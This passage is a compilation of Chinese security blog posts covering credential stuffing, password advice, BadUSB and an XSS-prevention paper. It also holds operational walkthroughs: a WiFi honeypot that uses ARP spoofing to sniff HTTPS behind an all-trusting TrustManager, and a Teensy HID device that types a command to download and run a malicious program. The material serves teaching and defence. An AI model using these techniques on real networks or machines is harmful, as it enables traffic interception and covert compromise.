从12306信息泄露了解何为黑客撞库拖库洗库 技术文章
12月25日,漏洞报告平台乌云网出现了一则关于中国铁路购票网站12306的漏洞报告,危害等级显示为“高”,漏洞类型则是“用户资料大量泄漏”。据悉,此漏洞将有可能导致所有注册了12306用户的账号、明文密码、身份证、邮箱等敏感信息泄露。对此,中国铁路客户服务中心回应称,经我网站认真核查,此泄露信息全部含有用户的明文密码。我网站数据库所有用户密码均为多次加密的非明文转换码,网上泄露的用户信息系经其他网站或渠道流出。目前,公安机关已经介入调查。
当天,乌云平台继续发布消息称,12306的数据疑似黑客撞库后整理得到,而并非12306直接泄漏。那么什么是“黑客撞库”?我们一起来看看。
撞库:黑客通过收集互联网已泄露的用户+密码信息,生成对应的字典表,尝试批量登录其他网站后,得到一系列密码组合后可以登录的用户。
黑客首先会通过收集互联网已泄露的用户+密码信息,生成对应的字典表,然后再用字典中罗列的用户和密码,尝试批量登陆其他网站。如果用户图省事在多个网站设置了同样的用户名和密码,黑客很容易就会通过字典中已有的信息,登录到这些网站,从而获得用户的相关信息,如:手机号码、身份证号码、家庭住址,支付宝及网银信息等。
之前某电商网站发生的“抹黑”事件,就是黑客利用“撞库”方法,“凑巧”获取到了该电商网站用户的数据(如用户名密码),然后通过模仿用户评论,留下了大量差评。
有安全人士分析了此次12306的用户信息泄露时间,推断基本可以定性为撞库行为。理由如下:
1、随机抽取了一批账号(约50个)均成功登录12306,证明了该批数据是准确的;
2、随机联系了该批数据中的多个qq用户,均反馈没有使用过抢票软件且近期没有购票行为;
3、经与群中人员进行交流,并未有人见过该批18G的全部数据,普遍认为该批数据为撞库所得,并不存在18G的12306全部数据。
4、安全人员搜索以往互联网上的数据进行了匹配,从17173.com、7k7k.com、uuu9.com等网站泄露流传的数据中搜索到了该批13.15万条用户数据,基本可以确认该批数据全部是通过撞库获得。”
黑客团队从地下产业链收购海量用户名及密码数据,在12306、淘宝、京东等不同网站进行撞库匹配,而大部分网民在各大互联网平台采用同一套用户名密码,这会让黑客存在可乘之机。
有安全领域人士分析称,12306此次信息泄露依然和安全体系不完善有关,如果这次撞库发生在需要二次验证登录的系统中则不可能成功。
拖库:和撞库类似,拖库也是一个黑客术语,它指的是黑客入侵有价值的网站,把注册用户的资料数据库全部盗走的行为,因为谐音,所以也常被称作“脱裤”。之前发生的某手机品牌用户信息大量泄露事件,就是拖裤行为的一个典型案例。在该事件中,用户名和密码大量泄露,黑客反过利用这些用户名和密码,登录该品牌服务器,获得了极其详细的用户资料,其中包括用户的手机号、邮箱甚至通讯录等。
洗库:在取得大量的用户数据之后,黑客会通过一系列的技术手段和黑色产业链,将有价值的用户数据变成现金以达到非法获利的目的。这一过程被称为“洗库”。比如:售卖用户账号中的虚拟货币、游戏账号、装备等变现,也就是俗称的“盗号”;对于金融类账号,比如:支付宝、网银、信用卡、股票的账号和密码等,用来进行金融犯罪和诈骗;对于一些比较特殊的用户信息如:学生、打工者、老板等,则会通过发送广告、垃圾短信、电商营销等方式变相获利;另外是将有价值的用户信息直接出售给第三方,如网店经营者和广告投放公司等。比如黑客利用此次获取的12306帐户信息做铁路购票、退票、专卖信息等。
这里再次特别提醒用户,一定提高警惕,保护自己的帐户密码安全,尽量不要在多个网站或者客户端中使用相同的用户名和密码,并且不定时更换密码。参阅《江湖险恶 如何设置安全又方便的个人密码》
江湖险恶 如何设置安全又方便的个人密码 技术文章
不可否认,我们的生活已经被密码层层包围:打开锁屏手机,需要输入密码;打开电脑,需要输入密码;上QQ微信聊天,需要输入密码;登录微博论坛购物网站,需要输入密码;使用银行卡支付宝等等,更要需要输入密码……每个人都有自己的一套密码,密码后面就是我们的重要信息、隐私以及财产,其重要性不言而喻,个人密码的安全性和被破译难度将直接影响到用户的数据与信息安全。因此,为自己的各个账户设置一组难以破解的密码是构筑个人信息安全最重要一步。但如果密码过于复杂,连密码主人也难以记住,是不是又有点反人类?本文就来聊聊设置密码的注意事项以及如何设置既安全又方便的个人密码。
背景知识:弱密码与强密码
弱密码:指短密码、常见密码、默认密码等以及能被穷举法通过排列组合破解的密码,这些密码因为过于简单和常见,很容易被被快速破译。常见弱密码如下,大家看看有没有懒人还在用这些白痴密码呢?
太简单的密码:admin、abc123、password、aaaa
由于文化因素常用:888888、666666
常用键盘的键排列:asdf、qwerty
强密码:长度足够长、排列随机、使用大小写字母以及数字和特殊符号组成,不容易被穷举等破解算法破译的密码。下面我们列出一些强密码的示例(注:这些密码因为公布出来为众人所知,不再算做是强密码,仅作为形式参考。)
t3wahSetyeT4 -- 不是字典的单词,既有数字也有字母
4pRte!ai@3 -- 不是字典的单词,除大小写字母、数字外还有标点
MoOoOfIn245679 -- 长,既有数字也有字母
Convert_100£ to Euros! -- 足够长,并且有扩展符号增加强度
Tpftcits4Utg! -- 一串随机的各种元素的混合
akd,H‰‘U‘(#t*’№&*§÷×’u -- 含键盘上没有的字符
密码设置雷区:千万不要这样做
不要设定密码为带有生日、电话号码、QQ或邮箱等与个人信息有明显联系的数据,也不要采用字典中的单词,原因很简单,这些都属于弱密码。
不要在多个场合使用同一个密码:为不同应用场合设置不同密码,特别是有关财务的网银及网购账户,避免一个帐户密码被盗,其它帐户密码也被轻易破解。
不要长期使用固定密码:定期或者不定期修改密码,安全更有保障。
不要将密码设置得过短:密码越长,破解的时间也越长。如果不想让黑客在24小时内能破解你的密码,密码长度应该超过14个字符。
密码设置技巧:先设置基础密码,然后用统一规则叠加组合成不同强密码
首先选取一个基础密码,然后根据不同的应用场合,再按照自己设置的简单规则叠加组合一些其他元素。
基础密码+网站名称的前两辅音字母+网站名称的前两个元音字母:比如基础密码是“yesky”,那么要登录Yahoo时密码就是yeskyYHAO,登陆eBay时就是yeskyBYEA。
自己喜欢的单词+喜欢的数字排列+网站名称的前三个字母或者后三个字母。这样,淘宝(Taobao)登录密码可以是Flower100TAO或者是Gold520Bao。
选定基础密码之后,键入时将手指在键盘上向某一个方向偏移一些位置。比如基础密码是“cat“,我们输入时将手指向左上方偏移一个键位,就变成了”dq5“。
注意:好的密码长度应该超过8个字符,同时包含大写字母、小写字母、数字以及特殊字符。
下面提供一些选择基础密码的小技巧供大家参考:
某句短语或是某首歌曲副歌的首字母。比如你很喜欢The Jackson 5的那首成名曲 I Want You Back,就可以用“IWUB”。或者PPtt13Mod,DKstFre1st对应的“娉娉婷婷十三余,豆蔻梢头二月初”。
用键盘上比较靠近的按键组合,比如说“yui”或是“zxcv”。
用自己家人或者朋友名字的首字母以及特殊的纪念日,比如“TFB0602”。
其他密码设置怪招
胡乱敲击键盘:对于敏感账户,有专家建议随机乱敲键盘,并间或敲击Shift键,然后将结果复制到一个文本,存入一个有密码保护的U盘。
安全问题答非所问:网站的验证问题经常问道“你最喜欢什么食物?”“你毕业于什么学校?”,这些问题的答案局限性太大,很容易搜索出答案。比较安全的做法是密码提示和问题无关。比如安全问题是“你喜欢什么歌曲?”,你的回答可以是你宠物店名字等等。
密码生成器:如果还是不想自己设置,网络上有很多在线密码生成器,可以根据一些算法,根据基础密码和网站地址来生成不同的密码。不过如何保存这些密码,也是需要注意的问题。现在有一些个人资料管理工具如Keepass、LastPass、1Password等,可以集中将个人数据、加密密码进行保存,并且通过基于图像或个人手势的方式进行解锁。
现在很多网站也设置了双重认证等机制,增加额外密码安全保护,并且要求验证两个独立的方式,通常情况下是密码和短信验证码的组合。结合上面介绍的一些方法和技巧,希望大家的“密码生活”更加轻松安全。
在Windows平台下搭建WiFi蜜罐小计(附工具下载) 技术文章
不知道大家对蜜罐了解多少,服务器上的蜜罐或许很多人都知道的,WiFi蜜罐你知道多少呢?
今天就小记一下自己搭建WiFi蜜罐的一些过程和心得体会。-----寒假闭关修炼 ^_^ 更新少,但是我会把他们呢记录在doc里,
出关之时,分享给大家的。嘿嘿,下面就开始正文(所有用到的工具在后面贴出来了,此处应有掌声!):
目的:捕获某APP的网络数据
5. 将手机设置代{过}{滤}理为fiddler机器的ip,端口为8888。
本人使用360随身WIFI搭建了一个无密码热点。使用wireshark监听本地网卡数据,等待目标机器连接。
不懂怎么使用wireshark的可以看我这篇文章:抓包利器----Wireshark---从入门到精通谢列教程
这里使用吾爱破解的客户端APP做了测试,连接此免费WIFI蜜罐后,顺利抓到需要的东西。
只要APP使用明文传输数据,在WIFI蜜罐下均可能泄露重要信息,有人可能会说使用HTTPS传输就安全,下面将演示由于编码不规范造成的HTTPS在WIFI蜜罐下也可能被嗅探。
class ae implements X509TrustManager { ae(ad paramad) { } public void checkClientTrusted(X509Certificate[] paramArrayOfX509Certificate, String paramString) { } public void checkServerTrusted(X509Certificate[] paramArrayOfX509Certificate, String paramString) { } public X509Certificate[] getAcceptedIssuers() { return null; } } |
这段代码已经很清晰的暴露了问题。
选择ARP
选择欺骗对象,左边选中网关,右边选择欺骗对象(也就是搭建WIFI蜜罐的机器)。
选择HTTPS,输入需要嗅探的HTTPS IP,下载证书,然后进行欺骗。环境已经OK,然后坐等数据吧。Cain很人性化的将HTTPS请求与返回数据都捕获到了。
从 刚开始不知道如何捕获移动端网络数据包,到最后完成一次完整的HTTP以及HTTPS数据包也是花了大概一周时间,期间遇见了不少的坑,当然也在 windows以及linux做了多次尝试,最后发现windows上面是最适合我的。现在移动端APP编码规范称次不齐,笔者已经在多款APP发现有这 些问题,在这里也提醒大家不要去连接未知的WIFI,即使写明了密码,如果实在需要连接也不要使用密码操作等敏感行为。
Tools_tcpdump_cain_fiddler_wireshark_download
密钥:wvt4EtZ37iKwO0iS7IJ41c6lhimc7IpxPjlSAKzstR0
在此提醒大家,免费的未知WiFi,一定要小心啊! 大家可以跟着步骤走,练习一下。请勿用于非法用途!
插入U盘自动攻击:BadUSB原理与实现(含视频) 渗透测试
漏洞背景
“BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。
笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作。注意,这里的U盘自动运行可不是以前的autorun.inf自动运行程序哦,具体的技术细节可以参考后文内容。
视频链接:http://v.qq.com/boke/page/l/g/w/l01425u2igw.html
BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。
BadUSB原理
在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是"USB RUBBERDUCKY"和"Teensy"。
TEENSY介绍
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》
USB RUBBER DUCKY介绍
简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。
U盘的内部构造
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
USB协议漏洞
为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
BadUSB利用代码分析
笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。
这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。
总结
“USB RUBBER DUCKY”、“TEENSY”、“BadUSB”三种最终都是利用了USB协议的漏洞而进行攻击的,“BadUSB”和另外两者的区别在于:BadUSB可以利用普通的USB设备,而不需要进行硬件定制,更具有普遍性。
HID攻击方式有很多种,BadUSB作为其中一种是通过伪装成键盘设备来实现的,同时HID攻击也可以通过伪装成网卡进行DNS劫持攻击。BadUSB的危害目前局限于单向感染,即USB设备感染PC,暂无发现从PC感染USB设备案例。
为了预防此类安全风险,需要我们在日常使用USB设备时,不要使用陌生的USB设备,避免USB存在恶意代码导致安全风险。
延伸:更多的USB接口攻击
通过USB接口攻击的案例很多,BadUSB只是一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。
比如今年爆发的WireLurker蠕虫,感染病毒的电脑系统会通过USB接口去间接感染iOS设备,即使是未越狱的设备也无法避免;
最近央视也报道了充电宝盗取手机隐私的案例。对于愈演愈烈的USB风险,应用层还没有见到好的解决方案。倒是硬件层面比较容易解决。比如360无线安全研究团队的SecUSB,还有我们腾讯安全应急响应中心的SecLine。原理都是将USB中的两根数据线去掉。转自freebuf
deDacota:通过自动化分离数据和代码防御服务端XSS漏洞 渗透测试
原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation
原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf
以下为译文:
Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。
一、跨站脚本漏洞:
跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。
跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。
二、内容安全策略(CSP)
为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。
三、内联JS分离技术
内联JS分离技术包含三个主要步骤:
1、 静态分析网页代码的HTML输出。
2、 从HTML页面抽取出全部内联JavaScript代码。
3、 重写应用代码以便于适应分离的内联JavaScript代码。
这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。
以ASP.NET网页表单页面为例。
图一: 简单的ASP.NET代码
首先需要确定应用程序是如何输出内容到页面:
<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。
<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。
从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。
图二:被C#编译器编译后的图一中代码。
在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。
在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。
我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。
为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。
图三:程序控制流程图
图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。
在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。
第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。
图四:重写之后的代码。
执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。
四、评估与实验
实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。
实验选取了以下应用作为实验对象:
图五:选取的实验对象。
实验对象选取的条件主要是以下三点:
1、 应用程序开源。
2、 应用包含已知的XSS漏洞。
3、 应用代码没有经过混淆、加密。
因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。
五、 实验结果:
当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。
图六:内联JS分离完成后的文件分布。
图七:内联JS分离完成后页面大小及响应时间对比。
六、总结与不足:
这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。
这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。
HID攻击之TEENSY实战 渗透测试
概述
从传统意义讲,当你在电脑中插入一张CD/DVD光盘,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了。然而通过TEENSY,你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器,与存储空间,和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
HID攻击介绍
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
TEENSY介绍
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小巧且功能完整的单片机开发系统,它的名字叫Teensy,它能够实现多种类型的项目开发和设计。Teensy为开源项目,任何有能力有技术的厂商都可以生产定制,其中PJRC是最优秀或者说商业化最好的生产商。
Teensy主要特点如下
AVR处理器,16 MHz
单个按键编程
易于使用的Teensy Loader应用程序
免费软件开发工具
兼容Mac OS X,Linux和Windows
小尺寸,多项目的完美支持
开发环境的搭建
对Teensy芯片进行开发,可以在Arduino中进行,不用担心枯燥的汇编与机器代码,因为Arduino IDE具有使用类似Java,C语言的Processing/Wiring开发环境。环境安装与搭建也非常便捷,可以从http://www.arduino.cc下载安装包,进行安装。本文版权为天融信阿尔法实验室冷风,转载请注明出处。
安装完Arduino IDE之后,还需要Teensy芯片的SDK支持库,支持库可以从如下地址获取http://www.pjrc.com/teensy/td_download.html。安装时需要选择Arduino IDE的安装路径,安装完成以后,还需要选择相应的开发板,我们这里应该选择Teensy2.0如图4所示,至此整体开发环境就搭建完成了。
图4
从BackTrack提取攻击代码
在BackTrack中提供了Teensy的完整攻击实例,针对一般情况的测试与使用,是足够的,下面介绍一下攻击代码的提取方法。进入BackTrack5后进入到/pentest/exploits/set目录,如图5所示。
图5
进入目录后执行./set会弹出一个新的菜单,请选择第一项Social-Engineering Attacks如图6所示。
图6
在新的选择项中,选择Arduino-Based-Attack Vector选项(Arduino基础攻击向量)如图7所示。
图7
选择Arduino基础攻击向量后,在新的选择中选择Wscript Http Get Msf Payload如图8所示。
图8
在新的选项中输入一个恶意程序的下载地址,此代码功能为自动去指定的位置下载程序并自动执行。如图9所示。
图9
最后所有的步骤执行完成后,会在reports目录中成一个名为teensy.pde的文件,如图10所示,此文件可以直接导入到Arduino中进行编译。本文版权为天融信阿尔法实验室冷风,转载请注明出处。
图10
攻击代码实现
如上代码从setup开始执行,执行后自动键入tftp下载命令,并执行,最后运行下载的exe文件,omg函数是在开始运行中键入代码执行。关于每个API函数的详细介绍可以参考teensy提供的API手册,这里不再赘述。
攻击效果
代码编译后通过Arduino上传到Teensy芯片,把Teensy插入到电脑USB接口后,会自动打开,运行对话框,键入相应的命令并运行,其效果如图11所示。、
图11
结束语
HID攻击对于大众来说还属于冷门,大众甚至不知道它的存在,防范更是无从谈起,但它的危害却是非常大的,USB设备的普及更是放大了它的邪恶,本文针对HID攻击的方法、原理、实现做了较为详细的描述,希望本文的介绍能让读者对HID攻击有一个更为清晰明了的认识。
注:转载自天融信阿尔法实验室:http://blog.topsec.com.cn/ad_lab/hid攻击之teensy实战/
给Emlog文章自动添加关键词,链接,方便SEO 技术文章
内链建设是网站SEO不可缺少的重要优化步骤,所以给博客文章内的关键词添加超链接是每位博主都会做的事,使用emlog博客的博主每次都要手动添加关键词链接很麻烦,wordpress和z-blog都有相关添加关键词链接的插件,emlog不通过插件也可以实现。
下面是我找到的给emlog关键词自动添加链接的方法。
使Emlog文章关键词自动添加链接的方法:
1.在emlog的/content/templates/default目录下新建一个字符串编码为utf-8的文件,并命名为globalnlbz.php。
2.在刚创建的globalnlbz.php文件中添加以下代码
<?php
//关键字设置
$gjz=array("Mrxn","mrxn.net","web安全","黑客技术","破解");
//关键字连接设置
$gjzlj=array(
"<a href='https://mrxn.net' target='_blank' title=$gjz[0]>$gjz[0]</a>",
"<a href='https://mrxn.net' target='_blank' title=$gjz[1]>$gjz[1]</a>",
"<a href='https://mrxn.net/say/' target='_blank' title=$gjz[2]>$gjz[2]</a>",
"<a href='https://mrxn.net/wpuse' target='_blank' title=$gjz[3]>$gjz[3]</a>",
"<a href='https://mrxn.net/emlog' target='_blank' title=$gjz[4]>$gjz[4]</a>",
);
//加上连接
for($i=0;$i<count($gjz);$i++){
$log_content=ereg_replace(($gjz[$i]),$gjzlj[$i],$log_content);
}
将array里的关键词修改为自己博客的关键词,然后再修改关键字链接设置下的关键词链接。想再添加多个关键词,就要在array里添加,然后在连接设置里添加链接。
3.找到并对echo_log.php文件进入编辑,找到以下代码:
if(!defined('EMLOG_ROOT')) {exit('error!');}
在其下面添加以下代码
/*内链接和备注
*include getViews('globalnlbz');
*/
include getViews('globalnlbz');
这个操作是在开始部分引用globalnlbz.php文件
4.最后,保存文件即可。
emlog建站我们需要注意的几点安全问题和优化心得 技术文章
最近几年除了wordpress与Zblog被站长青睐外,还有很多站长也采用emlog建立自己的站。我是一个个人站长,也不例外,用其建立了自己的站,用过一段后发现总体很好,简单、方面、SEO效果能力非常出众、模板众多。但毕竟一个开源的程序出来后就会被爆出各种漏洞,默认的设置对网站是一个危险的信号。所以今天根据最近自己的几点经验,来和大家总结下emlog在安全和建站两个方面需要注意的几个问题,如果大家有更多的心得,欢迎写成文章来分享。
首先是安全上需要注意的事项:
1、修改安全度高的密码:给网站设置一个安全程度比较高的密码,最好大小写混合加特殊符号,但是很多站长提问不知道在哪里修改密码,这里告诉大家,登陆后台之后,在设置--个人资料--就能看到。
2、修改后台默认登陆目录:后台默认的登陆目录如果是admin,那么相对就有点危险,最好还是修改一下,修改牵涉的文件分别是admin/globals.php、include/lib/view.php、t/index.php、templates/default/module.php、templates/default/header.php、templates/default/t.php,从这几个文件中搜索admin并替换为你想要的目录就可以了。这也是在安全上非常有必要的一步。
3、文件夹写入权限:如果使用的是服务器或者是VPS,那么直接登陆上去把根目录中的content文件夹修改为USER具有修改和写入权限就可以了,其它的尽量都压低权限。如果你把整个文件夹的写入修改权限都放开,那么就相当危险。
接着是SEO上的几点建议:
1、ico图片问题:如果大家做的是盈利性网站,比如淘宝客,那么建议大家都复制一个favicon.ico图标放入根目录,这样感觉更加真实,更加让用户容易产生信任感,如果是非营利性的网站或者博客,那么添加这个ICO小图标可以让网站更具有唯一性,更容易被用户记忆。
2、挑选模板事项:模板是SEO优化中不得不提的一个重点,尽量挑选简便的、图片少的,这样就更能够突出文字,在预览中,需要查看源代码,如果首页的标题在代码比较靠下的位置,那么这个模板在SEO的角度来说并不算一个合格的模板。尽量挑选正文内容靠左的模板。
3、关键词的布置:在模板文件夹的head文件中,添加meat base属性,属性的值就用域名或者品牌名,网站导航中不要使用关键词进行布局;页脚的版权中建议保留版权,但是可以再另外添加自己的版权,侧面的自由定制区域也可以添加我们自己的内容,但是这些内容最好包含关键词。
4、给rss订阅、登陆、管理、联系我们等链接加上nofollow属性,这写是在网站的头文件中包含,几乎每个页面都会存在,所以会浪费权重的传递,屏蔽之后权重会更加集中。
好了,今天的总结暂时就到这里。Mrxn在以后使用中总结更多的相关经验,并及时和大家分享。如果你也打算建立自己的网站或者博客,那么不妨先看看这篇文章,希望对你有帮助。欢迎转载,转载请保留链接,谢谢~
分析emlog做站点的三点优势和四个缺点 技术文章
对于很多站长来说,除了耳熟能详的wp和zblog外,emlog博客也慢慢进入了人们的视野,因为本身足够的简单,所以发展非常迅速。今天就拿自己对emlog的使用心得来总结下它建站的优势和劣势。
优势方面大致可以分为几点:
